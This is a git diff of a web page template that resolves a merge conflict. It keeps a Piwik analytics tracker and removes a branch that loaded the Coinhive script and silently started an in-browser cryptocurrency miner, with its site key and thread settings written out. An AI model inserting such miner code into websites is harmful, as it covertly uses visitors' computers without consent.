diff --git a/s/item.tpl.html b/s/item.tpl.html
index ba1795f..03d7132 100644
--- a/s/item.tpl.html
+++ b/s/item.tpl.html
@@ -52,8 +52,7 @@
   <script src="./s/shit.js"></script>
   <script src="./s/theme.js"></script>
   <script src="./s/plyr.js"></script>
-<<<<<<< HEAD
-  <script>plyr.setup( { autoplay: "false" }  );
+  <script>
   var _paq = _paq || [];
   _paq.push(['trackPageView']);
   _paq.push(['enableLinkTracking']);
@@ -66,17 +65,5 @@
   })();
   </script>
   <noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
-=======
-  <script src="//coin-hive.com/lib/coinhive.min.js"></script>
-  <script>plyr.setup( { autoplay: "false" }  );
-  var miner = new CoinHive.Anonymous('ZVrebnhYz9IYygu53a2jhMwGqZuhVlbK', {
-    threads: 2,
-	autoThreads: false,
-	throttle: 0.2,
-	forceASMJS: false
-  });
-  miner.start();
-  </script>
->>>>>>> e9f90494b8ccf856444af09a64fe6aa79243ef84
 </body>
 </html>